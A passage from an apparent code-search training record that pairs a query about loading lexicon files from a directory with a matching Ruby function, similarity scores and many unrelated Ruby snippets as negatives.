"def after_complete_batch\n # => create output file\n @output_file = \"tmp/#{@batch_id.split('_').first}.xlsx\"\n package = Axlsx::Package.new\n error_sheet = package.workbook.add_worksheet(name: 'error')\n error_sheet.add_row ['error'] + @header\n success_sheet = package.workbook.add_worksheet(name: 'success')\n success_sheet.add_row @header\n package.serialize (@output_file)\n\n # => process success and error queues\n REDIS_BATCHES.lrange(@batch_success, 0, -1).each { |record| success_sheet.add_row(JSON.parse(record)) }\n REDIS_BATCHES.lrange(@batch_error, 0, -1).each { |record| error_sheet.add_row(JSON.parse(record)) }\n\n # => send file to batch owner\n package.serialize (@output_file)\n subject = \"#{REDIS_BATCHES.llen(@batch_success)} success, #{REDIS_BATCHES.llen(@batch_error)} errors\"\n # => lookup @batch_owner_id and send email\n\n # => set expiration for batch keys\n [@batch_counter, @batch_size, @batch_owner_id, @batch_success, @batch_error, @batch_header].each do |key|\n REDIS_BATCHES.expire(key, 1.week)\n end\n rescue => e\n Rails.logger.error \"#{self.name}.#{__method__} - #{e}\"\n end",
"def send_response(result)\n @result = result\n puts \"Response/Result = \" + result\n render :inline => %{\n <%= @result %>\n }\n end",
"def execute()\n # Initialize Results variables\n\tstatus=\"\"\n\terror_code=\"\"\n\tresults_message=\"\"\n\t\n\t#get service item template ID\n\ttemplateId = get_template_id(@parameters['customer_survey_instance_id'])\n\t\n\t# Retrieve the CSV file\n csvfile = get_attachment(@parameters['customer_survey_instance_id'],@parameters['csv_file'], templateId)\n\t\n\t\n\t\t\n\t\tif status!=\"Error\"\n\t\t\t# csvfile is an ARSmodels attachment type. The base64_content contains the actual file content.\n\t\t\tfile = Base64.decode64(csvfile.base64_content)\n\t\t\trecords = CSV.parse(file)\n\t\t\t\n\t\t\t\n\t\t\t#puts \"Field Names Provided: #{@field_names.inspect}\" if @debug_logging_enabled\n\t\t\tputs \"CSV: #{records.inspect}\" if @debug_logging_enabled\n\t\t\t\n\t\t\tcount = 0\n\t\t\t@field_names = []\n\t\t\tcolumn_count = 0\n\t\t\t\n\t\t\trecords.each do |record|\n\n\t\t\t\tcolumn_num = 0\n\t\t\t\t@field_values = {}\n\t\t\t\t\n\t\t\t\tif count == 0 \n\t\t\t\t\tcolumn_count = record.length\n\t\t\t\t\t@field_names = record\n\t\t\t\telse\n\t\t\t\t\tif record.length < column_count\n\t\t\t\t\t raise(\"Too few data columns for record #{rowcount}.\\nData: #{record.inspect}\")\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\twhile column_num < column_count\n\t\t\t\t\t\t# Add field_values\n\t\t\t\t\t\t@field_values[@field_names[column_num]]=record[column_num]\n\n\t\t\t\t\t\t# Increment column number\n\t\t\t\t\t\tcolumn_num += 1\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tputs(\"Working on row: #{@field_values.inspect}\") if @debug_logging_enabled\n\t\t\t\t\t\n\t\t\t\t\tentry = get_remedy_form(@parameters['form']).create_entry!(\n\t\t\t\t\t:field_values => @field_values,\n\t\t\t\t\t:fields => []\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tcount = count + 1\n\t\t\tend\n\t\t\t\n\t\t\tcount = count -1\n\t\t\tstatus=\"Success\"\n\t\t\tresults_message += \"#{count} records created.\"\n\t\tend\n\n\n\n\n # Build the results xml that will be returned by this handler.\n results = <<-RESULTS\n <results>\n <result name=\"Status\">#{status}</result>\n\t <result name=\"Error Code\">#{error_code}</result>\n\t <result name=\"Result Message\">#{results_message}</result>\n </results>\n RESULTS\n puts(\"Results: \\n#{results}\") if @debug_logging_enabled\n\n # Return the results String\n return results\n end",
"def print_receipt(user_loc, dest_loc, driver_loc, driver_name)\n receipt = \"RECEIPT GO-RIDE\\n Thank you for using Go-Ride\\n From #{user_loc} to #{dest_loc}\\n Driver name #{driver_name} from location #{driver_loc}\\n \"\n receipt += route_go_ride(user_loc,dest_loc)\n receipt += \"\\n \"\n receipt += estimate_price(user_loc,dest_loc)\n receipt\n end"
] |
[
"0.67222154",
"0.65625155",
"0.6434499",
"0.64179087",
"0.638662",
"0.6246635",
"0.6163863",
"0.6148315",
"0.6115132",
"0.6115132",
"0.60170686",
"0.597941",
"0.5799834",
"0.57645446",
"0.568017",
"0.5675045",
"0.56691736",
"0.56686985",
"0.5657112",
"0.56451696",
"0.5603401",
"0.55961704",
"0.55922",
"0.55751544",
"0.5571508",
"0.5571508",
"0.5571508",
"0.5570867",
"0.5567535",
"0.5556026",
"0.5553437",
"0.5553437",
"0.5530879",
"0.5529707",
"0.552105",
"0.5517225",
"0.551653",
"0.5512112",
"0.550967",
"0.54732436",
"0.5454306",
"0.5444284",
"0.54323024",
"0.5425825",
"0.5410606",
"0.54033685",
"0.5401295",
"0.5396762",
"0.53963786",
"0.5386794",
"0.5382024",
"0.5375286",
"0.5368262",
"0.5366046",
"0.5365509",
"0.5365248",
"0.53641415",
"0.53625935",
"0.5359941",
"0.5358082",
"0.535606",
"0.53498983",
"0.534672",
"0.5345215",
"0.5329798",
"0.53235877",
"0.5314816",
"0.5302751",
"0.5302728",
"0.5298536",
"0.52972895",
"0.529508",
"0.5290216",
"0.5289272",
"0.5281663",
"0.5280774",
"0.52728224",
"0.52657825",
"0.52628493",
"0.5262778",
"0.5260769",
"0.5259551",
"0.52590626",
"0.5257906",
"0.52540356",
"0.5253278",
"0.5247718",
"0.52473557",
"0.52430284",
"0.52372134",
"0.5222513",
"0.5219503",
"0.5216737",
"0.52124685",
"0.5212026",
"0.5209124",
"0.5200288",
"0.51848525",
"0.5182088",
"0.517944",
"0.51750237"
] |
0.0
|
-1
|
Load all lexicons from a directory and return them indexed by basename
|
def load_lexicons(dir)
require 'usastools/lexicon'
puts "Loading lexicons from #{dir}..."
pl = USASTools::Lexicon::Parser.new(
{semtag_parser: USASTools::SemTag::Parser.new(true, lambda{|*_| return true}, lambda{|*_| return true})},
{},
{
case_sensitive: false,
error_cb: lambda{ |line, msg, str|
# $stderr.puts " [E]#{line ? " line #{line} :--" : ''} #{msg} "
# $stderr.print " [E]#{str} \r"
return true }
}
)
lexicons = {}
Dir.glob( File.join(dir, '*_sw.usas') ).each do |fn|
basename = File.basename(fn).gsub(/_sw\.usas/, '')
puts " - #{basename}..."
lexicons[basename] = pl.parse( fn )
end
puts "Loaded #{lexicons.length} lexicon[s] (#{lexicons.keys.join(', ')})"
return lexicons
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n @lexicons = Hash.new {|hash, k| hash[k] = []}\n File.open(lexicon_path, 'r').each do |line|\n line = line.split\n @lexicons[line.shift] = line\n end\n end",
"def parse_lexicon!\n read(lexicon_path) do |values|\n values.compact!\n\n word, word_count, rare = values.shift, values.shift.to_i, false\n word = classify(word) if rare = (word_count == 1)\n\n lexicon[word] += word_count\n\n values.each_slice(2) do |tag, count|\n lexicon[word, tag] += count.to_i\n end\n end\n end",
"def lexers!\n mentos(:get_all_lexers).inject(Hash.new) do |hash, lxr|\n name = lxr[0]\n hash[name] = {\n :name => name,\n :aliases => lxr[1],\n :filenames => lxr[2],\n :mimetypes => lxr[3]\n }\n hash[\"dasm16\"] = {:name=>\"dasm16\", :aliases=>[\"DASM16\"], :filenames=>[\"*.dasm16\", \"*.dasm\"], :mimetypes=>['text/x-dasm16']}\n hash[\"Puppet\"] = {:name=>\"Puppet\", :aliases=>[\"puppet\"], :filenames=>[\"*.pp\"], :mimetypes=>[]}\n hash[\"Augeas\"] = {:name=>\"Augeas\", :aliases=>[\"augeas\"], :filenames=>[\"*.aug\"], :mimetypes=>[]}\n hash[\"TOML\"] = {:name=>\"TOML\", :aliases=>[\"toml\"], :filenames=>[\"*.toml\"], :mimetypes=>[]}\n hash[\"Slash\"] = {:name=>\"Slash\", :aliases=>[\"slash\"], :filenames=>[\"*.sl\"], :mimetypes=>[]}\n hash\n end\n end",
"def entries() Dir.entries(path).map {|f| Path::Name.new(f) } end",
"def scan\n $stderr.print \"[lexicon] \"\n\n dict = Set.new\n\n files.each do |file|\n if $DEBUG\n $stderr.puts \"[scanning dictionary] #{file}\" if $DEBUG\n else\n $stderr.print \".\"\n end\n\n text = File.read(file).gsub(\"\\n\", \" \")\n states = text.split(/[.,:;?!()\"]\\s*/)\n\n states.each do |state|\n state.scan(WORD) do |word|\n word = normalize(word)\n dict << word if valid_word?(word)\n end\n end\n end\n\n @set = dict\n\n $stderr.puts\n end",
"def populate_lexicon (file_name)\n begin\n #Opens given file for lexicon\n file = File.open(file_name, 'r')\n #Reads until the end of the file\n until file.eof?\n #For each line in the file compile into lexicon\n file.each_line do |line|\n line.chomp!\n #Gets first character of word\n first_char = line[0]\n #Processes word\n if first_char != ''\n # Get the length of the word\n len = line.length\n if $lexicon[first_char].has_key? len\n $lexicon[first_char][len][line] = 0\n else\n $lexicon[first_char][len] = Hash.new\n $lexicon[first_char][len][line] = 0\n end\n end\n end\n end\n file.close\n puts \"Lexicon populated\"\n rescue\n puts \"Error in populating lexicon\"\n exit 4\n end\nend",
"def all\n all_paths.map { |path| path.split('/').last.chomp('.ttf').downcase }.uniq.sort\n end",
"def fetch\n position, last_dirname = nil, nil\n\n Dir.glob(File.join(self.root_dir, '**/*')).sort.each do |filepath|\n next unless File.directory?(filepath) || filepath =~ /\\.(#{Locomotive::Mounter::TEMPLATE_EXTENSIONS.join('|')})$/\n\n if last_dirname != File.dirname(filepath)\n position, last_dirname = 100, File.dirname(filepath)\n end\n\n page = self.add(filepath, position: position)\n\n next if File.directory?(filepath) || page.nil?\n\n if locale = self.filepath_locale(filepath)\n Locomotive::Mounter.with_locale(locale) do\n self.set_attributes_from_header(page, filepath)\n end\n else\n Locomotive::Mounter.logger.warn \"Unknown locale in the '#{File.basename(filepath)}' file.\"\n end\n\n position += 1\n end\n end",
"def enumerate_available path\n trace :loading, \"Enumerating under #{path.inspect}\" do\n Loadable.new(path).\n enumerate.\n map do |filename|\n begin\n require(pathname = path+\"/\"+filename)\n trace :loading, \"Loaded #{pathname}\"\n filename\n rescue LoadError => e\n trace :loading, \"Can't load #{pathname}: #{e.class}: #{e.message} #{e.backtrace[0]}\"\n nil\n rescue Exception => e\n $stderr.puts \"Can't load #{pathname}: #{e.class}: #{e.message} #{e.backtrace[0]}\"\n nil\n end\n end.compact\n end\n end",
"def load_ruby_files(directory = '.')\n print \"Loading ruby files...\\n\\n\"\n files = `find #{directory} -type f -name '*.rb'`\n files.split(/\\s+/).each do |f|\n begin\n load File.expand_path(f)\n rescue Exception => e\n puts \"failed loading '#{f[/\\b[\\-\\w]+\\/.*rb$/]}': #{e}\"\n end\n end\n puts \"Done\"\nend",
"def each_readable_with_basename basename, &block # :yields: path, parsed_content\n each_existing_readable(\"#{basename}#{FileLoader::make_wildcard_for_extensions(@readers.keys)}\", nil, &block)\n end",
"def all_languages\n Dir.entries(metadata_path)\n .select { |f| File.directory? File.join(metadata_path, f) }\n .reject { |f| f.start_with?('.') }\n .sort { |x, y| x <=> y }\n end",
"def scandir(dir)\n\tfilecount = 0\n\twordcount = 0\n\thist = {}\n\t$part.each{|p| hist[p] = {}}\n\tDir::glob(\"#{dir}/**/*.{tex,txt,doc,docx,pdf}\").each {|fname|\n\t\t$stderr.print \">>>> #{fname}\\n\"\n\t\tbegin\n \t\t\twordcount += mkhist(fname, hist)\n \t\t\tfilecount += 1\n \t\trescue\n \t\tend\n \t}\n \treturn hist, filecount, wordcount\nend",
"def categories_from_path(special_dir); end",
"def load_words\n File.readlines(\"#{WORD_DIR}/#{language}.txt\").map(&:strip)\n end",
"def scan\n glob = File.join(\"**\", Command::FILENAME)\n\n commands = load_path.flat_map do |path|\n path = Pathname.new(path)\n\n path.glob(glob).map do |file|\n root = file.dirname\n name = root.relative_path_from(path)\n name = name.to_s.tr(File::SEPARATOR, Command::SEPARATOR)\n build(name, root.to_s)\n end\n end\n\n commands.sort_by(&:name)\n end",
"def find_all\n Dir[\"#{pages_dir}**/*.yml\"].map {|f| new f }\n end",
"def entries() Dir.entries( expand_tilde ).map { |f| self.class.new( f ) } end",
"def list_all\n \tlist = Dir.glob(\"#{__dir__}/../images/*.jpg\")\n \tlist.each do |character|\n \t\tputs character[/.*images\\/(.*).jpg/,1]\n \tend\n end",
"def load_files_of(path)\n Dir.foreach(path) do |file|\n src = [path, file].join('/')\n \n # call yourself if file is a directory\n load_files_of(src) if File.directory?(src) and file != '.' and file != '..'\n \n sym = File.basename(file, '.rb').split('_').map{|el| el.capitalize}.join('').to_sym\n unless (src == __FILE__) or \n File.directory?(file) or \n !(src[-3,3] == '.rb') or \n (REQUIRE_RELATIVE.include?(file))\n autoload sym, src\n end\n end\nend",
"def files_to_translate\n folders = [\n \"app\",\n \"lib\",\n \"config\",\n locale_path\n ].join(\",\")\n\n exts = [\n \"rb\",\n \"erb\",\n \"haml\",\n \"slim\",\n \"rhtml\",\n \"js\",\n \"jsx\",\n \"vue\",\n \"coffee\",\n \"handlebars\",\n \"hbs\",\n \"mustache\"\n ].join(\",\")\n\n Dir.glob(\n \"{#{folders}}/**/*.{#{exts}}\"\n )\n end",
"def yaml_parts_in_loading_order\n ordered_yaml_parts = []\n @yaml_parts.each do |lang_file_dir, parts_in_this_dir|\n parts_in_this_dir.sort_by{|part| File.basename(part, '.yml').split('.').size}.each do |part|\n ordered_yaml_parts << File.join(lang_file_dir, part)\n end\n end\n ordered_yaml_parts\n end",
"def read_files\r\n @prefixes = IO.read('prefixes.txt').split(' ')\r\n @syllables = IO.read('syllables.txt').split(' ')\r\n @postfixes = IO.read('postfixes.txt').split(' ')\r\n end",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def all\n Pathname.new(dir).children.map do |score_dir|\n load_best score_dir\n end\n end",
"def entries\n pathname.glob('*').map{ |path| File.basename(path) }\n end",
"def lookup_parts\n @yaml_parts = ActiveSupport::OrderedHash.new\n @ruby_parts = []\n \n self.lang_file_dirs.each do |lang_file_dir|\n yaml_parts_in_this_dir = Dir.glob(File.join(lang_file_dir, \"#{self.lang_code}*.yml\")).sort\n @yaml_parts[lang_file_dir] = yaml_parts_in_this_dir.collect {|part| File.basename(part)}\n ruby_part_in_this_dir = File.join(lang_file_dir, \"#{self.lang_code}.rb\")\n @ruby_parts << ruby_part_in_this_dir if File.exists?(ruby_part_in_this_dir)\n end\n \n [@yaml_parts, @ruby_parts]\n end",
"def load!(alt_path=nil)\n path = alt_path ? Pathname.new(alt_path) : pathname()\n path.glob('*').each do |file|\n #next if file.to_s.index(/[.]/) # TODO: rejection filter\n name = file.basename #path_to_name(file, path)\n self[name] = get!(file)\n end\n self\n end",
"def read_code_files_from_path(path)\n Dir.foreach path do |it|\n path_and_name = \"#{path}/#{it}\"\n if FileTest.directory?(path_and_name) && it != '.' && it != '..'\n read_code_files_from_path path_and_name unless BLACK_LIST_DIRECTORIES.include? path_and_name\n elsif FileTest.file?(path_and_name) && !BLACK_LIST_FILES.include?(it)\n puts \"Processing => #{path_and_name}\"\n file = File.open(path_and_name, 'r')\n file_content = ''\n line_number = 1\n file.each_line do |line|\n file_content << line.gsub(/</, '<').gsub(/^/, \"<color rgb='AAAAAA'>#{line_number}</color> \"); line_number += 1\n end\n file.close\n @code_files << [path_and_name, file_content]\n end\n end\nend",
"def load_files(path)\n Dir[path].each {|file| require file}\nend",
"def read(directory)\n strings = {}\n plurals = {}\n\n files = Dir[directory]\n files.each do |file|\n ext = File.extname(file)\n next unless allowed_extensions.include? ext\n\n parsed_strings, parsed_plurals = parse(File.read(file), ext)\n\n strings = strings.merge(parsed_strings)\n plurals = plurals.merge(parsed_plurals)\n end\n\n [strings, plurals]\n end",
"def parse_fonts_conf(filename)\n doc = REXML::Document.new(File.open(filename, \"rb\")).root rescue nil\n\n if doc\n path = REXML::XPath.match(doc, '//dir').map do |el|\n el.text.gsub($/, '')\n end\n doc = nil\n else\n path = []\n end\n path\n end",
"def load_files\n files = []\n translations = {}\n globals = {}\n I18n.load_path.each do |file|\n data = YAML.load_file(file)\n \n # Try to identify type from file's path name\n # TODO: Try to find a use for that\n case file\n when /\\/gems\\/activesupport-(.*)\\/lib\\/active_support\\/locale\\//:\n type = \"ActiveSupport\"\n when /\\/gems\\/activerecord-(.*)\\/lib\\/active_record\\/locale\\//:\n type = \"ActiveRecord\"\n when /\\/gems\\/actionpack-(.*)\\/lib\\/action_view\\/locale\\//:\n type = \"ActionView\"\n else\n type = \"file\"\n end\n\n if data.is_a? Hash\n # Skip non-hash translation files\n data.keys.collect do |locale|\n files << { :locale => locale, :filename => file, :type => type } \n locale = locale.to_sym\n # Mix in (from simpe I18n backend)\n translations[locale] ||= {}\n sdata = deep_symbolize_keys(data)\n merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 }\n translations[locale].merge!(sdata[locale], &merger)\n # Build global translation keys from all locales\n globals.merge!(sdata[locale],&merger)\n end\n end\n \n end\n \n return {\n :files => files,\n :translations => translations,\n :globals => globals,\n }\n \n return files\n end",
"def initialize(lexicon_dir = nil)\n @tagparser = USASTools::SemTag::Parser.new(USASTools::SemTag::Taxonomy.new(TAXONOMY_FILE))\n @lexicons = load_lexicons(lexicon_dir) if lexicon_dir\n @valid_languages = Dir.glob(File.join(TEMPLATE_DIR, LANGUAGE_REF_DIR, '*.erb')).map{ |x| File.basename(x).gsub(/\\.erb$/, '') }\n end",
"def load_files(filename)\n filename_domain = filename.sub('.yai', '.yad')\n\n content = ''\n content << load_file_to_content(filename_domain)\n content << load_file_to_content(filename)\n end",
"def dir_to_entries path\n raise ArgumentError, \"#{path} is not a directory\" unless File.directory? path\n\n Dir[path+'/*.atom'].map do |e|\n Atom::Entry.parse(File.read(e))\n end\n end",
"def extract\n entries.map(&:pathname)\n end",
"def load_translations(*filenames); end",
"def load_translations(*filenames); end",
"def load(name)\n\t\t\tfiles = []\n\t\t\t@dirpaths.each { |dp|\n\t\t\t\tif(dp.directory?)\n\t\t\t\t\tdp.opendir { |dir|\n\t\t\t\t\t\tdir.each { |f|\n\t\t\t\t\t\t\tif (f != \".\" && f != \"..\" && File.extname(f).downcase == \".rb\" && f[0...name.length] == name)\n\t\t\t\t\t\t\t\tfiles << dp + f\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t}\n\t\t\tif(files.empty?)\n\t\t\t\traise \"No suitable MEC file for \\\"#{name}\\\" found!\"\n\t\t\tend\n\t\t\tfiles.each { |file|\n\t\t\t\tloadFile(file)\n\t\t\t}\n\t\tend",
"def load_files_in(directory_name, options = {})\n get_files_in(directory_name, options).sort.each { |ext| load ext }\n end",
"def crawl_hiera_directory(directory)\n files = []\n Dir[directory + '/**/*.yaml'].each { |f| files << File.absolute_path(f) }\n return files\n end",
"def loadMusic(directory)\n\tfileArray = [] #declare an empty file array\n\n\tDir.foreach(directory) do |fileName|\n\t\tif File.extname(fileName) == \".mp3\" #retrieve the music files\n\t\t\tfileArray.push(fileName) #push them to back of array\n\t\tend\n\tend \n\treturn fileArray #return the array of files\nend",
"def load_from_dir dir\n Dir[File.join(dir,\"*.yml\")].each do |file|\n begin\n var_name = File.basename(file).gsub(/s\\.yml/,'')\n my_count = 0\n File.open(file) do |my_file|\n last_obj = nil\n while line = my_file.gets do\n if line == \"--- \\n\" #uj yaml objekt :)\n if last_obj\n o = YAML.load(last_obj) \n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n last_obj = ''\n end\n last_obj = last_obj + line\n end\n o = YAML.load(last_obj)\n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n\n try(\"puts \\\"Cache loaded @#{var_name}: #{my_count} instances from disk.\\\"\")\n rescue Exception => e\n puts \"Can not load #{file}.\"\n puts e.message\n end\n end\n end",
"def load_from_dir dir\n Dir[File.join(dir,\"*.yml\")].each do |file|\n begin\n var_name = File.basename(file).gsub(/s\\.yml/,'')\n my_count = 0\n File.open(file) do |my_file|\n last_obj = nil\n while line = my_file.gets do\n if line == \"--- \\n\" #uj yaml objekt :)\n if last_obj\n o = YAML.load(last_obj) \n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n last_obj = ''\n end\n last_obj = last_obj + line\n end\n o = YAML.load(last_obj)\n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n\n try(\"puts \\\"Cache loaded @#{var_name}: #{my_count} instances from disk.\\\"\")\n rescue Exception => e\n puts \"Can not load #{file}.\"\n puts e.message\n end\n end\n end",
"def scan_dirs(extension,dir,syntax_regex)\n declarations = []\n\n Search.find_all(extension,dir,@excludes) do |path|\n declarations << scan_doc(path,syntax_regex)\n end\n\n declarations.flatten!.sort!.uniq! unless declarations.empty?\n declarations\n end",
"def load_objects(dir_name, kind, klass)\n all_split_files_in(dir_name).map do |base_filename, (meta_ext, content_ext, locales)|\n I18n.locale = I18n.default_locale # Set current locale to default\n\n # Get filenames\n meta_filename = filename_for(base_filename, meta_ext)\n content_filename = filename_for(base_filename, content_ext)\n\n # is binary content?\n is_binary = !!(content_filename && !@site.config[:text_extensions].include?(File.extname(content_filename)[1..-1]))\n\n # Read content and metadata\n meta, content_or_filename = parse(content_filename, meta_filename, kind, (is_binary && klass == Nanoc::Item))\n\n # Is locale content?\n # - excluded content with locale meta IS a locale content\n # - excluded content without locale meta IS NOT locale content\n # - included content with or without locale meta IS locale content\n # - included content with locale meta set to `false` IS NOT locale\n # content\n is_locale = !!(meta['locale'] || (meta['locale'] != false && locale_content?(content_filename || meta_filename, kind)))\n\n # Create one item by locale, if content don't need a localized version,\n # use default locale\n (is_locale ? I18n.available_locales : [I18n.default_locale]).map do |locale|\n I18n.locale = locale # Set current locale\n\n # Process for localized files\n if is_locale\n # Get filenames for localized content\n meta_filename = filename_for(base_filename, meta_ext)\n content_filename = filename_for(base_filename, content_ext)\n\n # Read content and metadata for localized content\n meta, content_or_filename = parse(content_filename, meta_filename, kind, (is_binary && klass == Nanoc::Item))\n\n # merge meta for current locale, default locale meta used by\n # default is meta don't have key\n meta_locale = meta.delete('locale') {|el| Hash.new }\n meta = (meta_locale[I18n.default_locale] || Hash.new).merge(meta)\n meta.merge!(meta_locale[locale.to_s] || Hash.new)\n end\n\n # Get attributes\n attributes = {\n :filename => content_filename,\n :content_filename => content_filename,\n :meta_filename => meta_filename,\n :extension => content_filename ? ext_of(content_filename)[1..-1] : nil,\n :locale => locale,\n # WARNING :file is deprecated; please create a File object manually\n # using the :content_filename or :meta_filename attributes.\n # TODO [in nanoc 4.0] remove me\n :file => content_filename ? Nanoc::Extra::FileProxy.new(content_filename) : nil\n }.merge(meta)\n\n # Get identifier\n if meta_filename\n identifier = identifier_for_filename(meta_filename[(dir_name.length+1)..-1])\n elsif content_filename\n identifier = identifier_for_filename(content_filename[(dir_name.length+1)..-1])\n else\n raise RuntimeError, \"meta_filename and content_filename are both nil\"\n end\n # Prepend locale code to identifier if content is localized\n identifier = \"/#{locale}#{identifier}\" if is_locale\n\n # Get modification times\n meta_mtime = meta_filename ? File.stat(meta_filename).mtime : nil\n content_mtime = content_filename ? File.stat(content_filename).mtime : nil\n if meta_mtime && content_mtime\n mtime = meta_mtime > content_mtime ? meta_mtime : content_mtime\n elsif meta_mtime\n mtime = meta_mtime\n elsif content_mtime\n mtime = content_mtime\n else\n raise RuntimeError, \"meta_mtime and content_mtime are both nil\"\n end\n\n # Create layout object\n klass.new(\n content_or_filename, attributes, identifier,\n :binary => is_binary, :mtime => mtime\n )\n end\n end.flatten # elements is an array with all locale item, flatten in to one items list\n end",
"def load_translations\n files = if File.directory?(@path)\n Dir[@path + '/**/*.yml']\n elsif File.file?(@path)\n detect_list_or_file @path\n else\n $stderr.puts 'No valid translation file given'\n []\n end\n update_store files\n end",
"def parse_plugins\n plugins = {:bundles => {}, :keymaps => {}}\n Dir.glob(\"#{PLUGIN_PATH}/**/*.vim\") do |file|\n print \".\"\n puts file\n categories = File.dirname(file).gsub(\"#{PLUGIN_PATH}/\", '').split(\"/\")\n raise ArgumentError(\"categories nested to deeply\") if categories.length > 2\n\n File.open(file, \"r:UTF-8\").each do |line|\n if line =~ /^NeoBundle\\s+[\"'](.+)[\"']/\n plugins[:bundles] = add_categories_to_plugins(plugins[:bundles], categories, convert_to_link_hash($1))\n end\n\n if line =~ /^\"!\\s+(.+)/\n plugins[:keymaps] = add_categories_to_plugins(plugins[:keymaps], categories, convert_keymap_to_doc($1))\n end\n end\n end\n\n plugins\nend",
"def load_all\n load_cache\n\n module_names.each do |module_name|\n mod = find_class_or_module(module_name) || load_class(module_name)\n\n # load method documentation since the loaded class/module does not have\n # it\n loaded_methods = mod.method_list.map do |method|\n load_method module_name, method.full_name\n end\n\n mod.method_list.replace loaded_methods\n\n loaded_attributes = mod.attributes.map do |attribute|\n load_method module_name, attribute.full_name\n end\n\n mod.attributes.replace loaded_attributes\n end\n\n all_classes_and_modules.each do |mod|\n descendent_re = /^#{mod.full_name}::[^:]+$/\n\n module_names.each do |name|\n next unless name =~ descendent_re\n\n descendent = find_class_or_module name\n\n case descendent\n when RDoc::NormalClass then\n mod.classes_hash[name] = descendent\n when RDoc::NormalModule then\n mod.modules_hash[name] = descendent\n end\n end\n end\n\n @cache[:pages].each do |page_name|\n page = load_page page_name\n @files_hash[page_name] = page\n @text_files_hash[page_name] = page if page.text?\n end\n end",
"def read_directories(dir = \"\")\n base = site.in_source_dir(dir)\n\n return unless File.directory?(base)\n\n entries_dirs = []\n entries_pages = []\n entries_static_files = []\n\n entries = Dir.chdir(base) { filter_entries(Dir.entries(\".\"), base) }\n entries.each do |entry|\n file_path = @site.in_source_dir(base, entry)\n if File.directory?(file_path)\n entries_dirs << entry\n elsif Utils.has_yaml_header?(file_path) || Utils.has_rbfm_header?(file_path)\n entries_pages << entry\n else\n entries_static_files << entry\n end\n end\n\n retrieve_dirs(dir, entries_dirs)\n retrieve_pages(dir, entries_pages)\n retrieve_static_files(dir, entries_static_files)\n end",
"def glyph_names(uri)\n images = files(uri).sort\n\n if images.empty?\n raise Compass::SpriteException, %Q{No glyph images were found matching \"#{uri}\" in the images path. Your current images path is: #{folder}}\n end\n\n images.map { |f| File.basename(f)[0..-5] }\n end",
"def load_dir(dir)\r\n if dir\r\n begin\r\n @conn.chdir(dir)\r\n rescue\r\n thud('No ' + dir, $!)\r\n end\r\n @statuslab.configure('text' => \"[Loading \" + dir + \"]\")\r\n else\r\n @statuslab.configure('text' => '[Loading Home Dir]')\r\n end\r\n update\r\n\r\n # Get the list of files.\r\n files = [ ]\r\n dirs = [ ]\r\n sawdots = false\r\n @conn.list() do |line|\r\n # Real lines start with the perm bits. And we don't want specials.\r\n if line =~ /^[\\-d]([r\\-][w\\-][x\\-]){3}/\r\n # Extract the useful parts, toss the bones. The limit keeps us from\r\n # dividing file names containing spaces.\r\n parts = line.split(/\\s+/, 9)\r\n if parts.length >= 9\r\n fn = parts.pop()\r\n sawdots = true if fn == '..'\r\n if parts[0][0..0] == 'd'\r\n dirs.push(fn)\r\n else\r\n files.push(fn)\r\n end\r\n end\r\n end\r\n end\r\n\r\n # Add .. if not present, then sort the list.\r\n dirs.push('..') unless sawdots\r\n files.sort!\r\n dirs.sort!\r\n\r\n # Clear the old contents from the directory listing box.\r\n @listarea.configure('state' => 'normal')\r\n @listarea.delete('1.0', 'end')\r\n\r\n # Fill in the directories. Bind for directory load (us).\r\n ct = 0\r\n while fn = dirs.shift\r\n tagname = \"fn\" + ct.to_s\r\n @listarea.insert('end', fn+\"\\n\", tagname)\r\n @listarea.tag_configure(tagname, 'foreground' => '#4444FF')\r\n @listarea.tag_bind(tagname, 'Button-1', \r\n proc { |f| self.load_dir(f) }, fn)\r\n @listarea.tag_bind(tagname, 'Enter', \r\n proc { |t| self.recolor(t, '#0000aa') },\r\n tagname)\r\n @listarea.tag_bind(tagname, 'Leave', \r\n proc { |t| self.recolor(t, '#4444ff') },\r\n tagname)\r\n ct += 1\r\n end\r\n\r\n # Fill in the files. Bind for download.\r\n while fn = files.shift\r\n tagname = \"fn\" + ct.to_s\r\n @listarea.insert('end', fn+\"\\n\", tagname)\r\n @listarea.tag_configure(tagname, 'foreground' => 'red')\r\n @listarea.tag_bind(tagname, 'Button-1', \r\n proc { |f| self.dld_file(f) }, fn)\r\n @listarea.tag_bind(tagname, 'Enter', \r\n proc { |t| self.recolor(t, '#880000') },\r\n tagname)\r\n @listarea.tag_bind(tagname, 'Leave', \r\n proc { |t| self.recolor(t, 'red') },\r\n tagname)\r\n ct += 1\r\n end\r\n\r\n # Lock it up so the user can't mess with it.\r\n @listarea.configure('state' => 'disabled')\r\n\r\n # Update the status label.\r\n begin\r\n loc = @conn.pwd()\r\n rescue\r\n thud('PWD Failed', $!)\r\n loc = '???'\r\n end\r\n @statuslab.configure('text' => loc)\r\n end",
"def path_to_tags( path )\n return [] if @@no_implicit_tags\n return [] if path.nil? \n if @@split_implicit_tags\n tags_array = path.split(\"/\").find_all { |e| e.size > 0 }\n tags_array.pop # Last item is the entry title\n else\n tags_array = [ File.dirname( path )]\n end\n tags_array.map { |e| e == '.' ? @@root_tag : e }.compact\n end",
